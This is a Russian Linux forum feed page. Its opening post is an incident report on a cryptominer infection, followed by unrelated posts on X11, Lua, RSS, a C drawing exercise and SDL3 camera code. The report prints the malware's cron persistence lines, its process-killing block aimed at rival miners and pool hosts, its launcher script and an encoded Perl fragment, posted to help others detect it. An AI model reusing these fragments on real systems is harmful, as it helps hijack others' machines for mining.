DISABLE_REGISTRATION   = true
ENABLE_CAPTCHA         = false
REQUIRE_SIGNIN_VIEW    = true

[picture]
DISABLE_GRAVATAR        = false
ENABLE_FEDERATED_AVATAR = false

[session]
PROVIDER = file

[log]
MODE      = file
LEVEL     = Info
ROOT_PATH = /home/gogs/gogs/log

[security]
INSTALL_LOCK = true
SECRET_KEY   = AHYsdf2GIsqRJkD

Собственно вот и всё. Можно ещё написать подробностей, но мне спать хоца. Гланое хеши выложил и основную инфу, кому надо смогут проверить нет ли у них такой параши.

Сравнил ещё через diff -qr никаких различий в gogs у меня и тут https://github.com/gogs/gogs/releases/tag/v0.11.53 linux_amd64.tar.gz нет. Не считая мною созданных файлов и иного созданного в процессе работы. Там я всё глазами проверил всё чисто.

Подытожу. Был скачан gogs настроен как в конфиге выше, для него был создан пользоваьтель gogs в домешнем каталоге которого и находился исполняемый файл, был написан юнит как на скрине выше который запускался при старте системы. Всё. До этого всё нормально было и работало, но после перезагрузки от пользователя gogs создались файлы и запустили майнер.

Скрипты я публиковатьк как сказал не буду что-бы мамкиным какерам не давать инструменты. Но скажу, оно прописывает пользоватю задачу в cron которая располагалась в /var/spool/cron/crontabs/gogs

1 1 */2 * * /home/gogs/.configrc/a/upd>/dev/null 2>&1
@reboot /home/gogs/.configrc/a/upd>/dev/null 2>&1
5 8 * * 1 /home/gogs/.configrc/b/sync>/dev/null 2>&1
@reboot /home/gogs/.configrc/b/sync>/dev/null 2>&1  
0 */23 * * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

ОБРАТИТЕ ВНИМАНИЕ НА ПОСЛЕДНЮЮ СТРОЧКУ Если вы проверяете у себя.

В ./a/upd немного логики и запуск ./run и далее по цепочке, множество переходов вплоть до ./b где если сервер смотрит попой в мир с белым ip то всё, удалённый доступ есть по ключу. Но перед тем как запустится оно проверяте кучу майреров и пытается их убить лол )))))

Вон их скока всяких бывает


	killall \.Historys
	killall \.sshd
	killall neptune
	killall xm64
	killall xm32
	killall ld-linux
	killall xmrig
	killall \.xmrig
	killall suppoieup

	pkill -f sourplum
	pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
	
	ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "119.9.76.107:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ld-linux" | awk '{print $2}'|xargs kill -9

	ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
	ps auxf|grep Donald| awk '{print $2}'|xargs kill -9
	ps auxf|grep Macron| awk '{print $2}'|xargs kill -9
	ps auxf|grep ld-linux| awk '{print $2}'|xargs kill -9

	ps auxf|grep named| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
	ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9

	ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
	ps ax|grep -o './[0-9]* -c'| xargs pkill -f

	pkill -f /usr/bin/.sshd
	pkill -f acpid
	pkill -f Donald
	pkill -f Macron
	pkill -f AnXqV.yam
	pkill -f apaceha
	pkill -f askdljlqw
	pkill -f bashe
	pkill -f bashf
	pkill -f bashg
	pkill -f bashh
	pkill -f bashx
	pkill -f BI5zj
	pkill -f biosetjenkins
	pkill -f bonn.sh
	pkill -f bonns
	pkill -f conn.sh
	pkill -f conns
	pkill -f cryptonight
	pkill -f crypto-pool
	pkill -f ddg.2011
	pkill -f deamon
	pkill -f disk_genius
	pkill -f donns
	pkill -f Duck.sh
	pkill -f gddr
	pkill -f Guard.sh
	pkill -f i586
	pkill -f icb5o
	pkill -f ir29xc1
	pkill -f irqba2anc1
	pkill -f irqba5xnc1
	pkill -f irqbalanc1
	pkill -f irqbalance
	pkill -f irqbnc1
	pkill -f JnKihGjn
	pkill -f jweri
	pkill -f kw.sh
	pkill -f kworker34
	pkill -f kxjd
	pkill -f libapache
	pkill -f Loopback
	pkill -f lx26
	pkill -f mgwsl
	pkill -f minerd
	pkill -f minergate
	pkill -f minexmr
	pkill -f mixnerdx
	pkill -f mstxmr
	pkill -f nanoWatch
	pkill -f nopxi
	pkill -f NXLAi
	pkill -f performedl
	pkill -f polkitd
	pkill -f pro.sh
	pkill -f pythno
	pkill -f qW3xT.2
	pkill -f sourplum
	pkill -f stratum
	pkill -f sustes
	pkill -f wnTKYg
	pkill -f XbashY
	pkill -f XJnRj
	pkill -f xmrig
	pkill -f xmrigDaemon
	pkill -f xmrigMiner
	pkill -f ysaydh
	pkill -f zigw
	pkill -f ld-linux

И это ещё не всё, лол.

Оно даже по портам своих друзей по роду ищет

	netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 119.9.76.107 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 138.199.40.233:9137 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.150.117.29 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

И только восле всех приготовлений, когда оно готово единолично майнить оно себя запускает

#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
	if [ "$ARCH" == "i686" ]; then
		nohup ./anacron >>/dev/null & 
	elif [ "$ARCH" == "x86_64" ];   then
		./kswapd0
	fi
echo $! > bash.pid

К слову ./anacron у меня небыло.

Ещё оно содержит base64 строку которая декодируясь отдаётся в perl

eval unpack u=>q{_(R`@("`@("`@("`M($%D:6-I;VYA9&\@8V]M8 и так далее в этом виде дохрена перлоты

Всё. Я спать.

UPDATE3 АААААААААААААААААААААААААААААААААААААААААА

Я встал, а вдруг меня брутфорснули, короче смотрю сюда grep -in Accept /var/log/auth.log

И Уоооооооооопааааааанааааа

... 
25515:Sep 13 00:03:55 gnu sshd[250080]: Accepted password for gogs from 222.232.242.116 port 56529 ssh2
...

Чиииииииииииивоооооооооооооооо? Каким хером? Ай пи 222.232.242.116 South Korea🇰🇷 Seoul Seoul

Как оно пробралось? Вернее как он с внешнего ip ко мне в локалхост пришёл? Яж за провайдером? Или тут gogs мог подсобить туннель организовав? Я нихера не понял.

Судя по времени 00:03:55 коннект по ssh был до создания файлов 00∶31∶38.

UPDATE4: https://savepearlharbor.com/?p=296720

Я не первый https://savepearlharbor.com/?p=296720 GOGS тут походу не причём, меня просто каким то хером с внешнего ip хотя у меня мой динамический подконектились к моему пк. Лол.

Как? Я не догоняю и очень хочу спать. Оборудование провайдера похакано и оно во внутренней сети брутфорсит? Отпишите. А мне насрать я точно рпять спать. вСё.

 , , , ,

LINUX-ORG-RU
()

Нужно чинить иксы

Форум — Development

X11 robustness: DRI3 без аппаратного ускорения (комментарий)

Сабж

Судя по всему последний раз проблема поднималась в 2018, потом все как-то забыли - да и решения там были весьма сомнительные предлагались - копмозитинг предлагается вынести в иксы, тем самым прибив модульность

В общем, без композитинга всё работает как надо, present через damage вызывает fbCopyNtoN на экранную поверхность, present отрабатывает, пусть и с тирингом.

С композитингом же всё сильно хуже - present делает такое же копирование, но в поверхность окна, для которой работает composite redirect.

Без изменений в композиторе ничего сделать не выйдет - сейчас в протоколе composite композитор получает пиксмапу окна и ожидает что после damage event в ней будут актуальные данные. Это совершенно несовместимос с подходом dri3/present, который привязвает несколько пиксмап к окну и требует лишнего копирования.

Изначальная идея в present предполагала отправлять Notify в композитор. Вероятно от неё отказались т.к это неэффективно - иксы здесь занимаются перессылкой событий и fence между процессами.

В здесь целом напрашивается получение дескриптора для отправки событий композитору напрямую, но это тоже выглядит как какой-то костыль. Но в принципе, dri3 передаёт файловые дескрипторы текстур - почему он не может так же передавать дескрипторы некоего канала с композитором? Звучит как вполне разумное решение, которое будет полезно и для xwayland т.к можно будет передать контроль wayland-композитору напрямую, минуя процесс Xwayland

VK_KHR_swapchain помимо fence оперирует с семафорами. Может можно вообще timeline semaphore задействовать? Но в любом случае надо как-то передавать индекс буфера. Расширение протокола позволит задействовать все возможности Vulkan при условии поддержки композитором. Так же vulkan’овые объекты доступны и в opengl

В общем интересно, остались ли тут разбирающиеся в устройстве иксов и vulkan люди, может кто-нибудь может подкинуть идеи

Возможная идея, что можно пересылать в композитор: https://github.com/notpeelz/monado/blob/main/src/xrt/ipc/client/ipc_client_compositor.c#L737 (freedesktop gitlab опять лежит) Здесь есть 2 варианта функции - с семафорой (включая timeline) и просто с fence. Причём создаётся семафора довольно просто - в vulkan queue отправляется пустой Submit с семафорой, которая ожидается уже другим процессом. То есть даже какая-то дополнительная поддержка со стороны приложения не нужна - дальше вся синхронизация присходит прямо в gpu.

P.S дополнение, всем фанатам и просто пользователям Вяленного, набежавишим в тред. Современный графический стек, предполагающий на каждый чих использовать opengl на клиенте немного несовместим с современными GPU, которые могут потерять все контексты в любой момент на любой чих в шейдере в любом приоложении. И даже если сделать перезапуск композитора с переподключением - это нифига не поможет от падения всего десктопного софта, который вынужден рисоваться через opengl. Почему-то на windows есть GDI и там нет этой проблемы. В иксах же есть свой аналог GDI и потенциальная возможность свести все эти отказы к единой точке, которую устранить. Достаточно избавиться от glamor в сервере, можно даже попытаться переписать его на vulkan, добавив обработку потери контекста. Я сейчас категорически не могу рассматривать рендеринг всех десктопных приложений на клиентах через opengl т.к это создаёт огромные неудобства при gpu reset. Да, можно сделать софтовый wayland композитор и нечто похожее на мой костыльный патч в modesetting, но нормально решить проблему потери контекстов просто нельзя - в архитектуре это просто не предусмотренно. Так что можно хвалить wayland, он прекрасно справляется с медиазадачами вроде 3д десктопа в виртуальной реальности, но превращается в тыкву, когда GPU не может работать

 , , , ,

mittorn
()

Плагин перевода текста каналов/сообщений в hexchat

Форум — Desktop

Здравствуйте.

Захотел себе перевод в hexchat. Попробовал «штатный» google translate плагин (два питоновских файла, которые надо гексчату в /addons положить) - не взлетел, дополнительных команд не появилось. Другой какой-то попробовал - он компилировался-компилировался, да так и не выкомпилировался.

Реквестую истории успеха, если есть, в гугле результатов - с гулькин нос.

Спасибо за внимание.

 , , ,

piyavking
()

Новая статья: «Эволюция Lua, продолжение»

Форум — Development

Вышла вторая статья посвящённая эволюции развития языка Lua.

Анонс

Первая часть - 2007

Вторая часть - 2025

Я ещё не читал, кому интересно, почитайте :)

---- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
(function(v) local f f = function(v) print(v) return f end return f(v)  end)
----------------------------------------------------------------------------
                                "Lua"
                                "Это"
                               "Весело!"
                              "Полезно!"
                             "Интересно!"
----------------------------------------------------------------------------
                  string.format("%s","hello world!")
---- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --

Всем бобра. Досвиданья.

Перемещено hobbit из general

 , , ,

LINUX-ORG-RU
()

HDR в SDR играх

Форум — Games

Например в Windows 11 есть auto HDR для улучшения игр.
Есть ли подобное в Linux для opengl, vulkan, wine ..?

 

loglogav
()

Книга «История моей страны. Записки военного инженера-программиста»

Форум — Talks

В продаже появилась книга В.Н. Орлова «История моей страны. Записки военного инженера программиста».

Книга интересна тем, что её написал программист, который ступил на путь программирования в далёком 1971 году и остаётся активным программистом до сегодняшнего дня.

Особый интерес вызывает рассказ о том, как пробивали себе дорогу язык программирования Си и операционная система Unix. Значительная часть книги посвящена описанию событий, связанных с созданием вычислительных сетей, тому, что сегодня стало совсем обыденным и привычным, а тогда в 80-х об этом только мечтали и делали первые шаги.

Автор не только вспоминает, что и как было, но и показывает, как история сохраняется для будущих поколений, включая вычислительную технику периода СССР.

Интересны приложения в книге, среди которых нужно выделить Приложение 2 «Советские программы противодействия ПРО» (стр. 393-412). Фактически в нем изложено содержание по сути последней комплексной программы Советского Союза, в которой были расписаны основные этапы развития и вычислительной техники и космических систем различного назначения. К сожалению, это Программа была до конца не реализована, но один пункт был реализован - это полёт «Бурана».

Книга будет интересна не только тем, кто избрал себе нелёгкую, но интересную профессию программиста, но и всем, кому небезразлична история нашей страны.

Перемещено hobbit из russia

 , вычислительные сети, , ,

TclTk
()

Как получать RSS-уведомления LOR`a в терминале

Статьи — Desktop

Воспользуйтесь RSS и утилитой rsstail:

  • Установите программу, используя ваш менеджер пакетов, например:
sudo apt install rsstail #deb  based
sudo dnf install rsstail #rpm  based
  • Запустите получение уведомлений раз в 60 секунд и вы будете получать все уведомления пришедшие с момента старта программы.
rsstail -n 0 -i 60 -u "https://www.linux.org.ru/show-replies.jsp?output=rss&nick=ТУТ_ВАШ_НИК"

Не забудьте указать ваш ник в конце ссылки.

  • В дополнение вы можете выводить графическое уведомление:
rsstail -n 0 -i 60 -u "https://www.linux.org.ru/show-replies.jsp?output=rss&nick=ТУТ_ВАШ_НИК" | while 
   read message
   do notify-send "$message"
done

Или использовать любую другую обработку в зависимости от ваших желаний.
Всё вышеописанное подходит для любых каналов RSS, нужно лишь заменить ссылку. Частный пример ЛОР`a приведён как практически полезный пример.

В уведомлении можно получить ссылку,заголовок,содержание man rsstail

 , , , ,

LINUX-ORG-RU
()

Happy Programming. Eposode 0x01 - нарисуй слоника ::)

Форум — Talks

Давай повеселимся, реализуй и выложи код который будет рисовать слоника по приложенным данным на своём любимом языке программирования ::) Можно выбрать и не слоника, а другое.

Данные по которым нужно рисовать >>> ★ слоник ★★ бабочка ★★★ крабик ★★★★ лошадка ★★★★★ робот

Программист из меня никакой и в качестве примера я нарисовал слоника из параллельной вселенной, уж точно не из нашей. А сможешь ли ты , да да именно ты нарисовать слоника? Или слабо :D

UPDATE: Готовые реализации

>>> Language C => Dron★★★★
>>> Language Ruby => theNamelessOne ★★★★★
>>> Language Bash => ArcFi ★
>>> Language Python3 => unikoid ★★★
>>> Language Python + matplotlib => i-rinat ★★★★★
>>> Language javascript => arax ★
>>> Language javascript v2 => arax ★
elefan.c #моя стартовая инопланетнокривая версия

#include <stdio.h>

enum 
{
    UP,
    DOWN,
    LEFT,
    RIGHT
};

static int elefan[28][2] = {
 
     {RIGHT,2},{DOWN,6},{RIGHT,2},{UP,1},{RIGHT,1},{UP,1},
     {RIGHT,1},{UP,1},{RIGHT,4},{DOWN,1},{RIGHT,1},{DOWN,3},
     {RIGHT,7},{DOWN,1},{RIGHT,3},{DOWN,7},{LEFT,1},{DOWN,6},
     {LEFT,3},{UP,1},{LEFT,2},{UP,1},{LEFT,1},{UP,2},{LEFT,2},
     {UP,1},{LEFT,2},{UP,9}
 };

  static char surface [22][22]; 
  char dot = '@';
  char fon = '.';
  int pose_x =0;
  int pose_y =0;

int main(int argc, char *argv[])
{

/*create surface*/
for (int i = 0; i < 22; ++i) 
{
    for (int y = 0; y < 22; ++y) 
    {
        surface[i][y]=fon;
    };  
};
/*paint elefan*/
for (int i = 0; i < 28; i++)
{
    switch (elefan[i][0])
    {
        case UP:    pose_x-=elefan[i][1];
                    surface[pose_x][pose_y]=dot;
                    break;
        case DOWN:  pose_x+=elefan[i][1];
                    surface[pose_x][pose_y]=dot;
                    break;
        case LEFT:  pose_y-=elefan[i][1];
                    surface[pose_x][pose_y]=dot;
                    break;
        case RIGHT: pose_y+=elefan[i][1];
                    surface[pose_x][pose_y]=dot;
                    break;
        default:    break;
    };
}
/*print elefan*/
for (int i = 0; i < 22  ; i++)
{
       for(int y=0; y < 22; y++)
       {
            putchar(surface[i][y]);
            putchar(fon);//correct surface cube
            
       };
       putchar('\n');
}

    return 0;
}

result

dron@gnu:~$ gcc elefan.c -o elefan ; ./elefan
....@.......................................
............................................
............................................
............@.......@.......................
..........@.@.......@.@.....................
........@.@.................................
....@...@...................................
....................@.@.............@.......
....................................@.....@.
............................................
............................................
............................................
............................................
............................................
............................................
........................................@.@.
....................@...@...................
........................@...@...............
............................................
............................@.@.............
..............................@...@.........
..................................@.....@...
dron@gnu:~$ 

 , , , ,

Dron
()

Нет предела маразму. Обязательная идентификация всех игроков компьютерных игр

Форум — Talks

https://www.kommersant.ru/doc/7364913

https://habr.com/ru/news/865890/

Казалось бы уже трудно удивить проявлениями заботы о гражданах, но им это все-таки удается.

Как выяснил “Ъ”, группа сенаторов и депутатов подготовила к внесению в Госдуму законопроект, который обяжет цифровые площадки информировать пользователей о содержании видеоигр, а издателей — идентифицировать игроков с помощью мобильного номера или через портал «Госуслуги».

Линукс тут при том, что линуксоиды и в игры тоже играют. И не так уж мало. В том числе есть OpenSource игры

P.S. Текст законопроекта https://sozd.duma.gov.ru/bill/795581-8

 , ,

praseodim
()

SONC - Клиент для приёма звука по сети

Форум — Talks
- APK сборки НЕ рабочие оказались :( Andoid сборки удалю.
- Для запуска sonc.love можно использовать ПО из дистрибутива или Love2D для Android. 

Пятница развратница! Но это у нормальных людей, так что…
Скромное, нубское приложение на Love2D, застряло не этапе прототипа более года назад, но я пользуюсь им постоянно. Может кому пригодится.

Просто принимает 16bit LE PCM звук отправленный по сети через PulseAudo - module-simple-protocol-tcp

Исходнки

Как выглядит, там на картинке есть, я прям с LOR галереи стащил :D


Есть сборки для Android

Которые даже не проверялись на работоспособность. Нет аппарата, окончательно подох.
Но там ещё lovefile есть который можно запустить как на ПК, так и на Android через Love2d с плеймаркета .


Универсальный lovefile

  • sonc.love

Который можно запустить где угодно где есть Love2D 11+, сам я его и использую.
love файл это zip архив с программой, который может быть запущен программой love (для тех кто не знает)


Ну, в целом всё, баги есть чинить буду по мере возможностей. Процессор долбит прилично, звук заикается из за прохода GC в Lua и потом отстаёт всё сильнее и сильнее, всё как полагается. Это можно исправить, видно будет, как ни будь потихонечку.

И да, гитфлик на даёт качать тем кто не зареган, очень странно…

Так что вот ещё, временно сборки тут


На самом деле я просто хочу узнать оно вообще на android запускается или нет, и apk рабочие или нет, а то я тут насобирал да и вообще многие вещи делаю просто в слепую. Типа как бы оно должно работать, но типа как бы и не совсем обязано :D Эх…

Есть много гораздо более лучших реализаций, лучших на голову и во всём, это так, NIH синдроммная метастаза в виде пупыри. Маленька, страшненька, но зато своя, родная ^.^ программулька.

Для тех кто не в курсе что такое Love2D

Вот как-то так вот.
Всем бобра. Досвиданья.

 , , , ,

LINUX-ORG-RU
()

Прошивка телефона

Форум — Mobile

Суть собственно в том что для задумки некого проекта мне нужна камера, камера есть на полуживом Beeline Smart 6 для него же будет писаться приложение, но он сейчас лишь включается показывает попытку зарядки (батарейки нет) и выключается, ранее телефон работал как звуковая карта (всё так же без батарейки, внутри проброшены проводки). По идее можно попробовать прошить на заводскую прошивку, у меня конечно её нет, но есть на 4pda при подключении в логах dmesg появляется

[  571.295045] usb 3-4: New USB device strings: Mfr=1, Product=2, SerialNumber=0
[  571.295054] usb 3-4: Product: MT65xx Preloader
[  571.295060] usb 3-4: Manufacturer: MediaTek

Насколько я понимаю этого уже достаточно чтобы прошить, хоть телефон и не бубу, но ранее там через меню разработчика было разлочен загрузчик, да и вообще всё что нельзя включено (ну типа, если я правильно помню).

Чем сейчас MediaTekи прошивают из под линукса? Может получится оживить, ну или добить окончательно.

UDP: Помянем, аппарат помер, физически.

 ,

LINUX-ORG-RU
()

Электронная очередь и трекер занятости оборудования, расписание

Форум — Development

Наверняка многие сталкивались с проблемой, когда одно и то же оборудование или ресурс нужно поочередно разным сотрудникам, и они должны вставать в очередь, бронировать время, с возможностью досрочного освобождения или временного вклинивания в очередь, или передавать ресурс кому то в рамках своего времени

Есть ли подобные онлайн трекеры-очереди? Готовые решения

Некоторые самопальщину пишут или извращаются с готовыми не подходящими инструментами

Development ибо типичная dev-ops проблемка, не верю что никто не делил осциллограф, отладочную плату, или еще что то между собой, когда само железо не позволяет разграничить доступ

 ,

I-Love-Microsoft
()

SDL3 - Камера - Заметка

Форум — Development

Короче захотел сделать фотку через SDL3 столкнулся с парой проблем.

Пишу просто по причине того что я долго ломал голову что не так, откуда ошибка, пока не втыкнул паузу, почему вместо снимка чернота, пока не пропустил несколько первых кадров. Для меня это было нифига не очевидно, может кому сэкономит время.

  1. Появляется ошибка Parameter 'surface' is invalid если не сделать паузу после открытия камеры, решается в установлении паузы в 0,5 секунды после SDL_OpenCamera

  2. Первые кадры с камеры либо просто чёрные, либо очень тёмные. Решается пропуском (в моём случае 7) нескольких первых кадров.

Я забросил в SDL3 уведомительное issue, чтобы было

Продублирую тут тестовый пример и результаты

Информация о системе

Web-camera встроена в ноут, понятия не имею что за камера
description: Notebook
    product: K53U
    vendor: ASUSTeK Computer Inc.
    version: 1.0
Distributor ID:	Debian
Description:	Debian GNU/Linux 12 (bookworm)
Release:	12
Codename:	bookworm
fedor@nixfed:~/drawshoot$ cat SDL3/VERSION.txt 
3.1.3
fedor@nixfed:~/drawshoot$

Тестовый код

Makefile

SDL_DIR=SDL3
SDL_LIB_DIR=$(SDL_DIR)/build
SDL_INC_DIR=$(SDL_DIR)/include

test-1:
	$(CC) main.c -I$(SDL_INC_DIR) -L$(SDL_LIB_DIR) -lSDL3 -o app

test-2:
	$(CC) main.c -I$(SDL_INC_DIR) -L$(SDL_LIB_DIR) -lSDL3 -o app -DENABLE_DELAY

test-3:
	$(CC) main.c -I$(SDL_INC_DIR) -L$(SDL_LIB_DIR) -lSDL3 -o app -DENABLE_DELAY -DENABLE_FRAMEDROP


sdl:
	cd $(SDL_DIR) && mkdir build
	cd  $(SDL_DIR)/build && cmake ..
	cd  $(SDL_DIR)/build && $(MAKE) -j2

clean:
	-$(MAKE) -C $(SDL_DIR) clean
	-rm app

run:
	LD_LIBRARY_PATH=$(SDL_DIR)/build ./app

main.c

#include "SDL3/SDL.h"
#include "SDL3/SDL_camera.h"
#include <stdio.h>

/*just for debug*/
const char * pixel_format_name(SDL_PixelFormat format)
{
    switch(format){
    case SDL_PIXELFORMAT_UNKNOWN:    return      "UNKNOWN";
    case SDL_PIXELFORMAT_INDEX1LSB:  return      "INDEX1LSB";
    case SDL_PIXELFORMAT_INDEX1MSB:  return      "INDEX1MSB";
    case SDL_PIXELFORMAT_INDEX2LSB:  return      "INDEX2LSB";
    case SDL_PIXELFORMAT_INDEX2MSB:  return      "INDEX2MSB";
    case SDL_PIXELFORMAT_INDEX4LSB:  return      "INDEX4LSB";
    case SDL_PIXELFORMAT_INDEX4MSB:  return      "INDEX4MSB";
    case SDL_PIXELFORMAT_INDEX8:     return      "INDEX8";
    case SDL_PIXELFORMAT_RGB332:     return      "RGB332";
    case SDL_PIXELFORMAT_XRGB4444:   return      "XRGB4444";
    case SDL_PIXELFORMAT_XBGR4444:   return      "XBGR4444";
    case SDL_PIXELFORMAT_XRGB1555:   return      "XXRGB1555";
    case SDL_PIXELFORMAT_XBGR1555:   return      "XXBGR1555";
    case SDL_PIXELFORMAT_ARGB4444:   return      "XARGB4444";
    case SDL_PIXELFORMAT_RGBA4444:   return      "XRGBA4444";
    case SDL_PIXELFORMAT_ABGR4444:   return      "XABGR4444";
    case SDL_PIXELFORMAT_BGRA4444:   return      "XBGRA4444";
    case SDL_PIXELFORMAT_ARGB1555:   return      "XARGB1555";
    case SDL_PIXELFORMAT_RGBA5551:   return      "XRGBA5551";
    case SDL_PIXELFORMAT_ABGR1555:   return      "XABGR1555";
    case SDL_PIXELFORMAT_BGRA5551:   return      "XBGRA5551";
    case SDL_PIXELFORMAT_RGB565:     return      "XRGB565";
    case SDL_PIXELFORMAT_BGR565:     return      "XBGR565";
    case SDL_PIXELFORMAT_RGB24:      return      "XRGB24";
    case SDL_PIXELFORMAT_BGR24:      return      "XBGR24";
    case SDL_PIXELFORMAT_XRGB8888:   return      "XXRGB8888";
    case SDL_PIXELFORMAT_RGBX8888:   return      "XRGBX8888";
    case SDL_PIXELFORMAT_XBGR8888:   return      "XXBGR8888";
    case SDL_PIXELFORMAT_BGRX8888:   return      "XBGRX8888";
    case SDL_PIXELFORMAT_ARGB8888:   return      "XARGB8888";
    case SDL_PIXELFORMAT_RGBA8888:   return      "XRGBA8888";
    case SDL_PIXELFORMAT_ABGR8888:   return      "XABGR8888";
    case SDL_PIXELFORMAT_BGRA8888:   return      "XBGRA8888";
    case SDL_PIXELFORMAT_XRGB2101010:   return   "XXRGB2101010";
    case SDL_PIXELFORMAT_XBGR2101010:   return   "XXBGR2101010";
    case SDL_PIXELFORMAT_ARGB2101010:   return   "XARGB2101010";
    case SDL_PIXELFORMAT_ABGR2101010:   return   "XABGR2101010";
    case SDL_PIXELFORMAT_RGB48:         return   "XRGB48";
    case SDL_PIXELFORMAT_BGR48:         return   "XBGR48";
    case SDL_PIXELFORMAT_RGBA64:        return   "XRGBA64";
    case SDL_PIXELFORMAT_ARGB64:        return   "XARGB64";
    case SDL_PIXELFORMAT_BGRA64:        return   "XBGRA64";
    case SDL_PIXELFORMAT_ABGR64:        return   "XABGR64";
    case SDL_PIXELFORMAT_RGB48_FLOAT:   return   "XRGB48_FLOAT";
    case SDL_PIXELFORMAT_BGR48_FLOAT:   return   "XBGR48_FLOAT";
    case SDL_PIXELFORMAT_RGBA64_FLOAT:  return   "XRGBA64_FLOAT";
    case SDL_PIXELFORMAT_ARGB64_FLOAT:  return   "XARGB64_FLOAT";
    case SDL_PIXELFORMAT_BGRA64_FLOAT:  return   "XBGRA64_FLOAT";
    case SDL_PIXELFORMAT_ABGR64_FLOAT:  return   "XABGR64_FLOAT";
    case SDL_PIXELFORMAT_RGB96_FLOAT:   return   "XRGB96_FLOAT";
    case SDL_PIXELFORMAT_BGR96_FLOAT:   return   "XBGR96_FLOAT";
    case SDL_PIXELFORMAT_RGBA128_FLOAT: return   "XRGBA128_FLOAT";
    case SDL_PIXELFORMAT_ARGB128_FLOAT: return   "XARGB128_FLOAT";
    case SDL_PIXELFORMAT_BGRA128_FLOAT: return   "XBGRA128_FLOAT";
    case SDL_PIXELFORMAT_ABGR128_FLOAT: return   "XABGR128_FLOAT";
    case SDL_PIXELFORMAT_YV12:          return   "XYV12";
    case SDL_PIXELFORMAT_IYUV:          return   "XIYUV";
